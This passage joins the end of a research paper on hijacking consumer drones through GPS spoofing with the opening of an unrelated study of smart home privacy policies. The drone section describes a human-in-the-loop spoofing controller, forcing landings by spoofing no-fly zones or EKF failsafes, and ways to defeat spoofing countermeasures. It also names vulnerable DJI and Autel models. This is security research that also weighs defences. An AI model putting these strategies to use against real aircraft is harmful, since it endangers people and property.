and tested a Human-in-the-Loop (HITL) feedback system.

We have explored the possibility of using human intuition
and knowledge of the target system to effectively control the
target UAV, similar to a video game. To the best of our knowl-
edge, such a system is a first-of-its-kind system designed to
control a UAV via GPS spoofing. The HITL control system
leverages RtGSG’s ability to manipulate spoofed signals in
real time through a human interaction device. In our experi-
ments, it was a standard keyboard with arrow keys, but the
device is interchangeable. This system relies on the attacker’s
observation of the UAV’s movements and requires human
intervention.

In our HITL system, the attacker uses the arrow keys to in-
troduce a velocity vector in the form of [ve,vn]. This velocity
vector governs the signal that the signal generator generates in
real time. We modified the peripheral interface to reflect the
operator’s intentions and not directly apply the inputs to the
spoofing signal. This interface shows the spoofed location and
optionally the target’s location if a system capable of tracking
UAVs is available. The attacker then manipulates the velocity
vectors based on their obtained understanding of the UAV’s
model, gaming skills, and intuition as to the UAV’s possible
reaction. Figure 19 shows one such flight where the operator
takes manual control of the target UAVs and forces them to
make controlled maneuvers, purely through GPS spoofing6.

Limitations: The main objective of the HITL system is to
provide control over the UAV just like a traditional remote-

6A video demonstration of this attack is available at https://
www.youtube.com/watch?v=EtaQ_BQFn-M
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Figure 19: Plots (a - DJI Mavic 2 Pro and b - Autel EVO II)
show the control using a Human-in-the-Loop control system.

controller, but through GPS spoofing. In the case of a regu-
lar controller, the control inputs directly actuate the motors.
However, in the case of HITL GPS spoofing, the motors are
actuated through the vehicle’s attitude and position correction
mechanism. This is the primary difference between control-
ling the UAV via GPS spoofing and controlling using a regular
controller. Initially, one of the main challenges of operating
the UAV indirectly through GPS spoofing is understanding
that, e.g., spoofing signals that move right will result in the
UAV drifting to the left. This requires the attacker to under-
stand the motion dynamics of the UAV under GPS spoofing,
and it requires training to maintain control of the UAV. Addi-
tionally, it also requires good hand-eye coordination

Furthermore, due to parallax misconceptions and response
time delays, controlling the UAV via spoofed GPS signals
is a much more challenging task than directly controlling
the UAV through the original controller. Furthermore, the
attacker needs to have a mechanism other than their own
eyes to track and observe the target UAV. In other words, we
believe that an automated closed-loop system would be an
ideal way to execute a perfect takeover because such a system
will overcome the discussed limitations.

5 Discussion

Forced Landing: The strategies we tested demonstrate an
attacker’s control over the horizontal position and velocity of
the UAV. GPS spoofing can not be directly used to manipulate
the height of the UAV and force it to land as majority of the
UAVs rely on non-GPS sensors like rangefinders, downward-
facing cameras, and barometers for measuring the altitude
This poses a significant challenge because all these sensors
are immune to GPS spoofing. For complete control of the
UAV, the attacker should also land the UAV. As has been
demonstrated earlier [34], an attacker can leverage terminal
failsafes that UAVs implement to induce a forced landing.
Some common events that trigger terminal failsafes are i)
restricted zones and ii) EKF errors. Most consumer UAVs im-

plement special geo-fencing around designated no-fly zones
(NFZ) [21]. These restrictions prevent the UAV from taking
off when the location is inside the no-fly zone. If the UAV
accidentally enters a no-fly zone, the flight controller activates
the terminal failsafe and lands after a warning. The operator
can only control the UAV’s horizontal position during this
process.

The attacker’s strategy thus is to spoof the GPS to a loca-
tion inside the nearest no-fly zone in order to land the target.
Suppose the no-fly location is more than 100 m away from
the last spoofed location. In that case, the target temporar-
ily loses the GPS lock but reacquires the attacker’s signal
within 20 s and initiates the landing sequence. In such a situ-
ation, time-to-first-fix (TTFF) for the onboard GPS receiver
is typically between under 10 s as the receiver undergoes a
warm start [73]. Even if the spoofed location is farther away
and a warm start is not possible, the receiver performs a cold
start, in which case the TTFF for a typical uBlox receiver
24-28 s [73]. Most of the UAVs that we tested were vulnera-
ble to such an NFZ forced landing attack. Similarly, a UAV
that implements an EKF failsafe can be forced to land by
spoofing a motion that causes the position and velocity test
ratios explained in Section 3.2, to cross the set threshold. It
is important to note that not all manufacturers enforce such a
failsafe, and hence such strategies to make the UAV land can-
not be applied to every UAV. Table 1 summarizes the results
of our experiments.

Limitations: Of the UAVs available to us, only the DJI
Mavic 2 Pro, DJI Mavic Pro, and Autel EVO II allowed us to
toggle downward vision sensors. This is an essential require-
ment for ensuring safety when testing inside the anechoic
chamber, as often the UAV can behave erratically and crash.
Other UAVs we tested were the DJI Mavic Mini and DJI
Mavic Air 2, both of which primarily use vision sensors be-
low a certain altitude. However, these models switch to GPS
positioning above a certain altitude, which is greater than the
height of the anechoic chamber available to us. Since it is
illegal to transmit GPS signals over the air in the open, we
could not test these UAVs. But based on our observations
and the architecture of these UAVs (which are also from the
market leader DJI), it is safe to say that the strategies that we
proposed earlier apply to UAVs beyond the ones we tested.

In this experimental study, we target GPS. However, most
modern UAVs are capable of multi-constellation localiza-
tion. i.e., they use other satellite navigation systems like
GLONASS, Galileo, and BeiDou. Such receivers can con-
tinue operations even when GPS is compromised. Multi-
constellation receivers poses a challenge for successful spoof-
ing and can be seen as a safeguard against GPS spoofing;
however, these systems are known to be as vulnerable to sig-
nal spoofing attacks as GPS. Thus a multi-constellation GNSS
signal generator can be used by an attacker to overcome this
limitation as described for example in [57].
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Table 1: A comparison of GPS takeover success and forced
landing strategy success.

Model GPS Takeover
Forced Landing

NFZ EKF Failsafe
DJI Mavic Mini Unable to test x
DJI Mavic Air 2 Unable to test x
DJI Mavic Pro x
DJI Mavic 2 Pro x
Autel Evo II x x
3DR IRIS (sim) x

Self-learning Feedback Mechanism: The self-learning
feedback mechanism for controlling the spoofed trajectory
requires access to precision UAV tracking equipment capable
of UAV localization in real time, which serves as a source of
the ground truth. In this system, Kalman-filter-based state esti-
mation can be used to derive the target system’s instantaneous
acceleration and velocity through position information sup-
plied by the tracking equipment. These values will be input
to a predictive engine that can generate a trajectory capable
of moving the UAV to the desired location. However, the
attacker must consider the tolerable lag between the UAV’s
actual motion and the spoofed coordinates in this mechanism.
This is especially applicable to UAVs that implement an EKF
failsafe. Several works propose techniques to track UAVs, in-
cluding acoustics sensors [12, 13], and works like [15, 28, 32]
offer passive RADARs for tracking quadcopters. In [24], the
authors suggest using a seeker UAV equipped with radios for
target localization.

Impact of UAV Takeover: The UAV takeover strategies
we propose in this work are capable of fine-grained direction
and speed control of the target UAV. These capabilities allow
an adversary to commandeer a UAV remotely with the intent
of turning it rogue. Even a single rogue UAV, whether it is
executing an autonomous mission by itself or as part of a
swarm of UAVs, poses a significant security threat. We thus
posit that GNSS as an attack vector needs to be considered
systemically in conjunction with inertial, vision, and other
sensors in future UAV security design.

On the other hand, precise control over a rogue UAV can
help eliminate and investigate the threat, as the proposed
techniques can be used defensively to get the rogue UAV to a
safe location for further investigation.

Countermeasures: Current state-of-the-art countermea-
sures can be categorized as cryptographic solutions, physical
and application layer solutions, and solutions that leverage
IMUs for attack detection. UAVs typically have tight power
and weight constraints, and hence the countermeasures should

fit within these bounds. Thus, solutions that require minimal
modifications to the existing infrastructure are essential.

Cryptographic solutions include techniques that introduce
message encryption and authentication [14,29,43,45,76]. The
underlying cryptographic primitives make it difficult for an at-
tacker to synthesize GPS signals for arbitrary locations. How-
ever, these solutions are vulnerable to signal replay attacks.
Furthermore, these countermeasures require a complete over-
haul of the GPS ecosystem and are currently unavailable for
evaluation. Additionally, they require high processing power,
making it less practical to deploy on UAVs.

Physical and application layer countermeasures detect
anomalies in RF properties like signal strength [3], auxiliary
peaks [63], angle/direction of arrival [50,51], and validation of
navigation messages like satellite ephemeris and timing infor-
mation [19, 63]. Some countermeasures also leverage a multi-
antenna and multi-receiver setup for attack detection [72]. An
attacker can obfuscate physical properties through the careful
generation of signals such that the signal’s physical properties
are within set thresholds. An attacker can also completely
overshadow adversarial signals, thus burying the legitimate
signal under the noise, thereby removing any auxiliary peaks.
In addition, an adversary can use multiple antennas to mimic
the angle and direction of legitimate signals.

There are proposals to use inertial sensor measurements
to detect attacks on GPS through a comparison of inde-
pendent inertial measurements and obtained GPS measure-
ments [41, 44, 71]. Such solutions often use Kalman-filter-
based sensor fusion algorithms already implemented in mod-
ern UAVs for state estimation. These techniques are effective
against the proposed UAV takeover attack and can lead to at-
tack detection. However, as shown in [53, 69, 79], an attacker
can take over and defeat multi-sensor-fusion algorithms and
inertial sensor solutions. Such a detection scheme can be used
along with terminal failsafes [6], which force the UAV to abort
any ongoing mission and either hold and hover at the current
position or land. However, these techniques are limited to
attack detection and do little in terms of attack mitigation and
recovery. The receiver will also need to identify and attenuate
adversarial signals in order to mitigate and recover from the
attacks and ensure uninterrupted operations.

Several countermeasures use successive interference can-
cellation (SIC) technique [11, 26, 66] and antenna array pro-
cessing techniques [17, 42, 48] to mitigate GPS spoofing at-
tacks. Most of these mitigation techniques require high pro-
cessing power or peripheral devices that make it impractical
for implementation on UAVs. In [66], the authors have de-
signed a solution specifically for UAVs. Such a countermea-
sure has the potential to recover from the GPS takeover attack
proposed in this work. However, this solution is limited up to
15 dB of a spoofing signal’s power advantage over legitimate
signals beyond which the UAV cannot recover.
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6 Related work

Several strategies have been proposed that demonstrate the
ability of an attacker to assume control of a UAV via GPS
spoofing. These works primarily focus on altering the mo-
tion of a UAV by transmitting fake GPS signals. In [57] the
authors provide a taxonomy of hijacking consumer drones.
However, the anti-drone hijacking strategies they propose are
only capable of limited control over the target drone. Through
a hard-spoofing attack, their strategies could divert a drone
in a specific direction. Beyond that, the strategies proposed
in this work do not facilitate the complete takeover of the
target UAV as they lack post-takeover direction and velocity
control ability. In [33, 40], through simulations, the authors
demonstrated the effect of GPS spoofing on a cyber-physical
system such as a UAV. Their approach forces the drone to
accelerate in a particular direction by manipulating the GPS
velocity in the opposite direction. In this approach, the di-
rection of the motion and the UAV’s acceleration was un-
controllable and unpredictable. As a result, such an approach
cannot precisely control and maneuver the drone through GPS
spoofing. In [47], the author demonstrated an attack that tar-
gets the follow-me feature specific to a DJI Phantom 3A. In
this attack, the controller’s mobile phone is targeted rather
than the onboard GPS receiver. Since the attack only targets
the “follow-me” flight mode, such an attack will not work
against other completely autonomous flight modes. Similar
works [7, 30, 67] demonstrate identical strategies that are re-
stricted to a specific type of drone or a simulator environment,
or that provide minimal true control over the target UAV.

There has been significant research on developing coun-
termeasures to safeguard GPS receivers against spoofing at-
tacks. Cryptographic solutions [14, 43, 45, 76] prevent attack-
ers from generating counterfeit signals. However, they are still
vulnerable to signal replay attacks and are not practical for
deploying on a UAV because of additional processing power
and key management requirements. The recently launched
Galileo’s Open Service Network Authentication [29] service
that uses TESLA protocol for broadcast authentication is
vulnerable to signal replay attacks. Other countermeasures
like [10, 50–52, 72, 75] rely on peripheral hardware devices
like multiple receivers and directional antennas, thus making
them infeasible for integrating with UAVs. Another line of
works [41, 71, 78] demonstrates the application of GPS/IMU
sensor fusion to detect GPS spoofing attacks. However, as
shown in [53, 79], it is possible to evade detection and defeat
such multi-sensor fusion (MSF) algorithms. Shen et al. [69]
analyzed the security guarantees of MSF algorithms imple-
mented in terrestrial autonomous vehicles with the specific
goal of forcing lane changes. Finally, [63] provides a tech-
nique that is based on signal processing and does not require
additional hardware or cryptographic measures, but it does not
protect against fine-grained spoofing of proximate locations
as we have done in this work.

Several works have used non-GPS techniques for a hos-
tile takeover of UAVs. These include the use of lasers to
activate obstacle detection and avoidance systems [80], at-
tacking the data-link between the radio-controller and the
UAV [65] and [60] where the authors showcase the vulnera-
bilities present in a popular UAV platform from Parrot [1] as
a result of a poorly configured wireless network.

7 Conclusion

In this work, we experimentally enumerated and validated
various challenges in asserting complete control of a UAV
through a GPS spoofing attack. We formulated requirements
that constitute a complete takeover. To this extent, we de-
signed, demonstrated, and evaluated strategies that enabled us
to control the UAV’s speed and direction in real time through
well-timed GPS velocity manipulations that resulted in sta-
ble, predictable, and controlled flight. To facilitate real-time
control, we designed and developed a real-time GPS signal
generator capable of on-the-fly trajectory manipulation. We
also designed a Human-in-the-Loop GPS spoofing system that
can manually control a UAV’s motion. Further, we discussed
the possibility of incorporating an automatic self-learning
feedback mechanism.

In conclusion, we show that even though the GPS receivers
of COTS UAVs remain vulnerable to spoofing attacks, the
combination of sensors incorporated in UAVs makes it ex-
tremely challenging for the attacker to translate a GPS spoof-
ing attack into complete control over the UAV. We show in
this work that — against conventional wisdom — only with
a thorough study of a UAV’s systemic behavior under GPS
spoofing attacks and careful manipulation of the spoofing
signals would it be possible to commandeer a UAV through
GPS spoofing alone.
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Abstract
Smart home devices transmit highly sensitive usage infor-

mation to servers owned by vendors or third-parties as part
of their core functionality. Hence, it is necessary to provide
users with the context in which their device data is collected
and shared, to enable them to weigh the benefits of deploying
smart home technology against the resulting loss of privacy.
As privacy policies are generally expected to precisely convey
this information, we perform a systematic and data-driven
analysis of the current state of smart home privacy policies,
with a particular focus on three key questions: (1) how hard
privacy policies are for consumers to obtain, (2) how existing
policies describe the collection and sharing of device data,
and (3) how accurate these descriptions are when compared
to information derived from alternate sources. Our analysis of
596 smart home vendors, affecting 2,442 smart home devices
yields 17 findings that impact millions of users, demonstrate
gaps in existing smart home privacy policies, as well as chal-
lenges and opportunities for automated analysis.

1 Introduction
Privacy concerns are an important hinderance in the adoption
of smart home devices [57, 79, 88]. These concerns are well-
founded, because smart home devices frequently transmit
operational data to remote servers to enable functions ranging
from basic status updates to trigger-action automation, which
may contain highly private evidence of the user’s activities in
their personal environment. For example, when a door lock
notifies the user of its status change by the way of sharing
updates with its remote server, the lock’s state may also be
used by the vendor to track the user’s schedule. As device
data may be used to profile the user, it is fair to expect that
users deserve to be informed about how their information may
be used, through a legally binding document, which will build
user confidence and increase smart home adoption.

A privacy policy performs this function, as it is the primary,
legally binding, medium for conveying the data collection and
sharing practices of an organization to users. In fact, prior

∗ This work was completed when the author was at IBM Research.

work in Web and mobile privacy has attempted to understand
the privacy posture of organizations by analyzing their privacy
policies [7,8,81,97], often revealing significant contradictions
in the text, and inconsistencies with actual practices. With
the goal of understanding the baseline privacy guarantees
promised to smart home users, we initially pursued a similar
route by analyzing the privacy policies of popular smart home
vendors using state-of-the-art tools [7,8]. However, our initial
investigation encountered several obstacles due to the intricate
(and under-studied) aspects of the smart home domain, which
make automated analysis infeasible at present.

First, we observed that smart home privacy policies, i.e.,
vendor-provided policies that apply to all the smart home de-
vices/services they produce (and device data they manage),
are not as easily available for analysis as compared to mobile
app or website privacy policies. That is, while it is relatively
easy to find mobile app privacy policies on app markets that
mandate them (e.g., Google Play [40]), we had to scour sev-
eral sources (e.g., vendor websites, app markets, mobile apps)
for policies that apply to smart home devices, even for popu-
lar vendors (e.g., Honeywell). Second, we realized that even
if we could obtain the policies, existing tools would be un-
able to capture the contextual privacy implications of device
data in them, without sufficient insight into their content and
organization-related intricacies. Particularly, the various types
of smart home device data and the contexts in which they are
described are relatively unknown compared to typical private
data that existing tools (e.g., PolicyLint [7]) are trained to
analyze, as we elaborate in Section 7. Finally, we observed
the need to assess policy coverage in terms of describing the
collection/sharing practices for all the device data that the
vendor collects. Without this knowledge, it would be difficult
to reason about the results of an automated policy analysis.
To summarize, our initial investigation revealed that it may
not be trivial to directly analyze smart home privacy policies
with existing tools, as the smart home is a separate application
domain with its own intricacies, motivating this data-driven
evaluation to uncover insights that would enable automated
analysis tools for this domain in the near future.
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Contributions: We describe the first large-scale evaluation
of smart home (device) privacy policies, i.e., vendor-provided
privacy policies that apply to smart home devices/services,
performed with the goal of (1) understanding their under-
studied characteristics, and (2) extracting critical insights for
guiding the development of practical analyses, targeted regu-
lations, and end-user tools, for the holistic improvement in the
privacy of the smart home ecosystem. In doing so, we develop
an empirical foundation for privacy disclosure analysis in the
smart home, through the following contributions:

• Large-scale Study of Home Privacy Policies: We present
the first large-scale study of smart home privacy policies
aimed at demystifying the unique characteristics of the
domain along three areas: (1) availability, (2) content, and
(3) coverage. We study the privacy policies of vendors
integrated with 7 most popular smart home platforms, i.e.,
596 vendors representing 2,442 smart home devices.

• Systematic Study Methodology and Datasets: We de-
velop a semi-automated study methodology that thoroughly
investigates the state of smart home device privacy policies,
and yields insights that lay the groundwork for develop-
ing automated methods. We constructed several datasets
that will be useful for developing automated tools that can
reason about device data, including a labeled set of 284
device privacy policies and a precise vendor-device_type
map describing the devices sold by the 596 vendors. The
datasets are available in our github repository [87].

• 17 Novel and Impactful Findings: Our findings demon-
strate severe gaps in the current state of smart home privacy
policies. Particularly, device privacy policies are extremely
hard to obtain (F1–F5); e.g., we were able to obtain poli-
cies that apply to smart home devices for only 48.99% of
the studied vendors (F3), with 10.57% not providing pri-
vacy policies at all (F1). Further, policies do not precisely
describe device data (F6, F10, F11), and if they do, the de-
scriptions are often inconsistent with actual state of data
potentially collected by vendors (F13–F16). Our findings
impact vendors whose products are used by millions as
indicated by our impact metrics. We have disclosed our
findings to all affected vendors (see Appendix 8).

• Describing the need for (and path to) contextualization:
This study demonstrates a clear need for new policy anal-
ysis frameworks that are focused on the characteristics of
the smart home, just as new frameworks were warranted
for mobile apps. We show that existing NLP-based tools
may incorrectly reason about a majority of the policies
in our dataset (F8), and experimentally demonstrate the
need to consider the smart home as a separate problem do-
main, and the tangible benefits from contextualizing exist-
ing tools (F17). Finally, we describe how our methodology,
the labeled dataset, and the insights from this study, serve
as a starting point for developing contextualized automated
policy analyses for smart homes.

2 Motivation
Smart home device data consists of events observed or facili-
tated from internet-connected motion sensors, door locks, and
cameras that form direct evidence of user activity; e.g., the
door lock unlocks when the user comes home, and lights turn
OFF when it’s the user’s bedtime. Such data can be used to in-
fer incredibly private user behavior and profile users without
consent, leading to real-world consequences. For example, an
insurer could use device data from a water flow sensor to infer
a maintenance issue (e.g., a small leak), and deny any future
claims associated with water-damage. This example is not hy-
pothetical; in November 2020, Yonomi and LexisNexis Risk
Solutions announced a partnership wherein they would build
IoT solutions to enable insurance companies to “discover de-
vices in the home and share data from those devices with the
insurer”, which the insurer would use to affect claims [44].
This means that device data will provide entities such as insur-
ers with a persistent window into the user’s home, behavior,
and lifestyle habits, i.e., as aptly stated by LexisNexis’s direc-
tor of IoT: “We’re moving from having a snapshot in time to
an ongoing assessment of what’s happening in a home” [44].

Considering the risk of intrusive behavior profiling, it is
critical to ensure that smart home device vendors disclose
the privacy implications of using their devices to consumers
through accurate privacy policies, in order to obtain informed
consent. With the goal of understanding the data-use practices
associated with smart home device data, we first set out to
automatically analyze smart home privacy policies by using
prior NLP-based frameworks for analyzing mobile/Web pri-
vacy policies (i.e., PolicyLint [7]). However, we encountered
three challenges (described as follows) in terms of the rel-
atively under-studied availability, content, and coverage of
smart home policies, which not only make automated analysis
infeasible, but also hard for consumers to obtain or reason
about policies, motivating our empirical study.

1. Erratic provisioning of privacy policies: We observed
that automatically acquiring smart home privacy policies at
scale is non-trivial, due to the disparity in how the policies are
distributed to consumers, if at all. Smart home devices can be
purchased independently of any virtual marketplaces (e.g., the
vendor’s website, online stores such as Amazon). Hence, there
is no central repository of privacy policies that apply to smart
home devices, unlike domains such as mobile apps analyzed
by prior work where app markets mandate policy links [39].
Thus, it is infeasible to develop an automated mechanism for
obtaining such policies at scale, without first studying how the
policies that apply to devices are provisioned to users, which
motivates our first research question:

RQ1: How difficult is it for consumers to obtain privacy poli-
cies that apply to their smart home devices?

2. Unexplored device data: While prior work on mobile
privacy policy analysis generally focuses on PII and other
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well-studied private data types (e.g., SSN, credit card number),
the range of privacy-sensitive smart home device data (e.g.,
motion detector/door lock status), and how it is described in
policies, are relatively unexplored. For instance, we observed
that certain policies describe the collection of device data for
a broad category called “device data”, while others are more
precise and describe specific device data such as “camera
stream” or “motion”. Thus, we would need to know how
and in what contexts smart home data is described in these
policies to develop automated tools for analyzing them, which
motivates our second research question:

RQ2: How precisely is the collection and sharing of device
data described in smart home product privacy policies?

3. The unknown coverage of smart home device policies:
While it may be possible to avoid privacy risks in mobile
apps by preventing them from collecting/transmitting data
(e.g., IMEI, location), transmission of smart home device data
is unavoidable, as it is necessary for enabling the inherently
connected functionality (e.g., third-party integration, remote-
control). Hence, it is important for privacy policies to disclose
the collection and sharing practices for each device and device
data object that the vendor sells, to provide the consumer with
a complete perspective of what is at stake. Analyzing coverage
may require out-of-band ground-truth (e.g., vendor-specific
lists of devices), which may be non-trivial to automatically
acquire, motivating. our third and final research question:

RQ3: How comprehensive are smart home product privacy
policies in describing the collection/sharing of device-data?

3 Study Overview
We address RQ1–RQ3 using a semi-automated, data-driven
methodology that enables us to develop a grounded under-
standing of the current state of smart home policies, as il-
lustrated in Figure 1. We now provide a brief overview of
this methodology, followed by a summary of the metrics we
consider to approximate the impact of our findings.

1. Policy Availability Analysis (RQ1, Section 4): As shown
in Figure 1, we begin by identifying a representative set of
smart home vendors whose policies we seek to study, by scrap-
ing the integrations advertised on the websites/marketplaces
hosted by 7 popular smart home platforms. We subsequently
perform an exhaustive search for device/product privacy poli-
cies for each vendor, which spans several resources, such as
vendor websites, search engines, app stores, and mobile apps.

2. Policy Content Analysis (RQ2, Section 5): We begin by
defining a set of content labels based on existing regulatory
requirements (e.g., GDPR, CCPA) as well as intuition gained
from an exploratory pass over a subset of the dataset. We
then label the device privacy policies using open coding, and
identify several key semantic traits, as well as gaps in how
vendors define device data usage.

3. Policy Coverage Analysis (RQ3, Section 6): Given a pri-

vacy policy that precisely describes device data, we develop a
methodology that estimates policy coverage in terms of de-
scribing data usage for all types of devices sold by that vendor.
To enable such an analysis, we define a methodology to build
a vendor-device_type map that describes the device-types
(e.g., camera, switch) sold by each vendor whose policies we
seek to evaluate, and the minimal data attributes that each
device_type exhibits. We use the vendor-device_type map to
discover anomalies in coverage, which further motivate the
need for using such out-of-band context in policy analysis.

Impact Metrics: We construct 4 metrics to reason about the
impact of our findings in terms of the popularity of the affected
smart home vendors. As there is no public data on the market
share of smart home vendors, we assess vendor-popularity
using statistics from two representative sources: (1) Amazon,
as it is a popular source of smart home devices, and (2) Google
Play, as it often hosts companion apps for devices.
Metric 1: Amazon Ratings – This metric represents the most
popular device sold by the vendor on Amazon, in terms of the
count of ratings, which enables us to estimate the impact of
insufficient disclosure even if the vendor only sold one (i.e.,
their most popular) device. We obtain this metric by searching
for the vendor’s name on Amazon, and selecting the product
with the highest ratings count from the first page returned.
Metric 2: “Best Seller” badge – Amazon assigns a Best
Seller badge to products that outperform others in the same
category. We mark a vendor as a Best Seller if at least one of
its devices is found to have the badge.
Metric 3: “Amazon’s Choice” badge – Amazon recom-
mends certain products to consumers, labeling them as
Amazon’s Choice. Consumers are likely to be steered towards
them.We mark a vendor as Amazon’s Choice if at least one of
its devices is found to possess the badge.
Metric 4: Google Play install count – This metric represents
the total install-count of the vendor’s companion app on
Google Play. If the vendor is represented by more than one
app, we select the most relevant app with the highest down-
load count, to get an estimate of the most users affected.

We include multiple metrics to provide insights based on
various factors that contribute to vendor popularity. These fac-
tors include price, quality, sales performance, availability, and
usage of vendor products. For instance, Amazon states that
“Amazon’s Choice highlights highly rated, well-priced prod-
ucts available to ship immediately” [5]. Similarly, Amazon
Best Seller badge is provided based on calculation of sales [4],
whereas, Amazon Ratings takes into account reviews and ver-
ified purchase status [6]. Thus, our impact metrics aim to
approximate the popularity of vendors by considering several
factors that signify popularity among consumers, as such met-
rics have been observed to lead to improved sales conversion
rates [3]. However, these metrics are not free from the risk of
vendor manipulation, as we discuss in Section 10, and hence,
their inclusion only indicates importance, and not a quantifi-
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Figure 1: An overview of our systematic methodology for studying the current state of smart home privacy policies (RQ1–RQ3).

cation of impact. Finally, note that we used impact metrics to
assess popularity after the conclusion of the study, i.e., the
metrics have no impact on the vendors selected for the study.

While our metrics are collected automatically, one of the
authors validated each result manually to ensure correctness.
Finally, while not all vendors are represented on Amazon or
Google Play, these two sources are complementary, and cumu-
latively ensure coverage of 519/596 (i.e., 87.08%) vendors.

4 Policy Availability Analysis (RQ1)
This section empirically characterizes the availability of pri-
vacy policies from a large set of smart home vendors. The
significance of our analysis is two-fold. First, privacy poli-
cies that are not easily accessible may not be compliant with
regulatory requirements, e.g., CCPA [56] mandates specific
ways in which privacy policies must be provisioned. Second,
our analysis demonstrates the complex approach needed for
locating and acquiring smart home device privacy policies,
laying the basis for their automatic acquisition.

4.1 Methodology
We develop a data-driven methodology to drive our semi-
automated acquisition of policies, complemented by auto-
matic tools to extract relevant information. Our analysis is
organized along two key tasks. First, as privacy policies are
generally specific to companies, and not individual devices,
we identify a representative set of smart home vendors. Sec-
ond, we exhaustively locate privacy policies for the said ven-
dors and identify smart home device privacy policies, i.e.,
which apply to smart home devices/products.

Identifying Smart Home Vendors: To acquire a list of rel-
evant vendors we rely on the following intuition: Since the
demand for automation and inter-operability is one of the pri-
mary drivers of the smart home market, the cumulative list of
devices integrated into popular platforms would represent the
devices users are most likely to use. Therefore, we systemati-
cally compile a list of representative smart home vendors from
the integration-lists published by 7 popular automation frame-
works, namely Alexa [2], Google Assistant [41], IFTTT [50],
SmartThings [85], Apple HomeKit [46], OpenHAB [67], and

HomeAssistant [45]. To resolve integrations to brands/ven-
dors, we first normalize the lists (i.e., remove irrelevant terms
such as “smart” and “outlet”), and condense the remaining
names into individual brands (e.g., Wemo Light Switch and
Wemo Coffeemaker to “Wemo”). Then, to identify the pri-
mary Web domain for each vendor, we automatically search
for the brands on Google, scrape the top ten results, and re-
solve URLs to vendors by matching the domain name with
the vendor name. Finally, we manually confirm the vendor-
domain match, and filter out non-smart-home vendors using
the website content. We use this methodology to maximize
inclusion of vendors that (a) offer a smart home device, and
(2) have a website (i.e., are actively advertising products).
This process may exclude certain vendors that do not have
a web presence but still sell devices (e.g., through brick and
mortar stores). This exemption aligns with this study, given
its focus on analyzing vendors that provide a mechanism to
inform consumers prior to purchasing devices, which can
only be accomplished through some form of online presence
(e.g., Web or mobile app).

Acquiring Device Privacy Policies: Our goal is to obtain
policies that apply to smart home devices and the data they
transmit, i.e., unlike policies that cover other artifacts, such
as websites or mobile apps. Hence, we define an exhaustive
methodology for locating such device privacy policies by
searching 4 vendor-resources, in the order that a user planning
to buy a smart home device is likely to follow, i.e., ordered by
the ease of obtaining the policy: (1) the vendor website, (2) a
web search, (3) the mobile app store (i.e., Google Play), and
(4) the vendor’s mobile app.

Our approach for locating privacy policies varies by the
resource. For vendor websites, we search for “Privacy Policy”
or “Legal” links on the main page, whereas Google search
involves searching for a combination of terms, such as the
vendor name and web domain, “privacy policy” and “product
policy”, and filtering search results aligned to the vendor. For
mobile app stores, we search with the vendor name and for
all apps that are found, we subsequently look for any links to
policy documents. If no policy is found and the app has a short
registration process, we manually register to see if the privacy
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Figure 2: Amazon’s Choice and Best Seller metrics (F1–F5).
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policy dialog box is shown after registration. For every policy
we collect, we perform the following test to check whether
the policy applies to devices: We extract the policy preamble,
and the section describing data collection, and check for any
reference to “Products” or “devices”, either explicit (i.e., as
specific terms) or implicit (i.e., by specifying that it “covers
everything” for the vendor). We end the search once a device
privacy policy is found, or all resources have been examined.

4.2 Policy Availability Findings (F1–F5)
Using the methodology in Section 4.1, we obtained 3,678
unique integrations from the 7 popular automation plat-
forms, after removing duplicates across platforms (e.g., Wemo
Switch in both SmartThings and IFTTT). These integrations
represent unique products/services provided by each vendor
across all platforms; however, a vendor may have multiple
products (and hence integrations representing them). Thus,
we resolved websites for these integrations, and also con-
densed them into unique brands (e.g., condensing "Wemo
Switch" and "Wemo Coffeemaker" to "Wemo") as described
in Section 4.1, as our analysis explores the privacy posture of
vendors/brands, leading to 1,365 vendor websites.

To ensure that we analyze vendors relevant to the smart
home, we further manually analyzed the content of each of
these 1365 vendor/brand websites to filter out non-smart home
brands that fall into one of two categories: (1) vendors that

Table 1: Sources of the 292 device privacy policies.
Source Number of device policies
Vendor websites 188 (64.38%)
Google Search 41 (14.04%)
Google Play Links 21 (7.19%)
Mobile Apps 42 (14.38%)
Total 292 (i.e., 100%)

do not sell smart home products, but nevertheless integrate
their products with smart home platforms, such as Facebook
and Evernote [29], and (2) vendors whose websites simply
advertise or discuss smart home products belonging to other
vendors, or are under construction and/or devoid of any infor-
mation, such as Mattel [59] (which advertises other vendors’
products) and Gidbo [38] (which has no information on its
website) respectively. As these categories of vendors do not
sell smart home products or provide relevant information that
would facilitate privacy analysis, we chose to exempt them
from our analysis, resulting in the final dataset of 596 con-
firmed smart home vendors, which together represent 2442
unique smart home devices (as per vendor websites). As de-
scribed previously, our approach for deriving this list of 596
vendors is motivated by user demand for automation and inter-
operability, and is biased towards the products that users are
most likely to use as they are integrated into popular plat-
forms.

We located the privacy policies of these 596 vendors us-
ing machines in the US. While we did not perform locale-
specific analysis, we observed that vendors make the same
policies available across locations, with separate sections for
geography-specific regulations (e.g., for Europe, CA) (See
F8). We spent anywhere between 2-15 minutes per vendor,
with the longest searches generally resulting in failure to find
a device privacy policy. We were able to locate device privacy
policies for 292/596 vendors. Our analysis of policy availabil-
ity led to five findings, with considerable impact, illustrated
in Figures 2 and 3 as per our impact metrics (Section 3).

Finding 1: No Policy – 10.57%, i.e., 63/596 of smart
home vendors do not provide privacy policies, i.e., not
even for their websites (F1) – These 63 vendors sell smart
home devices belonging to 27 unique types that include
privacy-sensitive devices such as security cameras and baby
monitors. Our impact metrics demonstrate that consumers
are extremely likely to purchase devices from these vendors,
with 10/63 labeled as Amazon’s Choice, and one labeled as
Best Seller (Figure 2). Moreover, the companion apps from
these vendors have over 492k Google Play Installs and 499
Amazon ratings on average (Figure 3), which indicates that
the lack of privacy policies may have affected a substantial
user population. Due to the absence of privacy policies, these
vendors potentially violate CCPA (Section 999.305 [20]) if
certain additional criteria are satisfied (e.g., annual gross rev-
enue [56]).

Finding 2: No Device Policy – 43.52% do not have poli-
cies that apply to smart home products (F2) – We found
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that out of the 517 vendors that have at least one privacy pol-
icy in English (i.e., excluding 63 vendors with no policy (F1)
and 16 that provided non-english policies), 225 (or 43.52%)
do not provide privacy policies that discuss their smart home
products or devices, but only discuss website, mobile app,
or account-related data. For example, none of the 3 privacy
policies for FirstAlert [31] discuss the collection or sharing
of device data. FirstAlert is a leading brand of smart safety
devices, including their OneLink smart smoke and carbon
monoxide alarm contains a microphone (hence collects au-
dio) and integrates with both Apple HomeKit and Amazon
Alexa. Similarly, we also found that Panasonic [69], which
sells several smart home devices, including cameras, baby
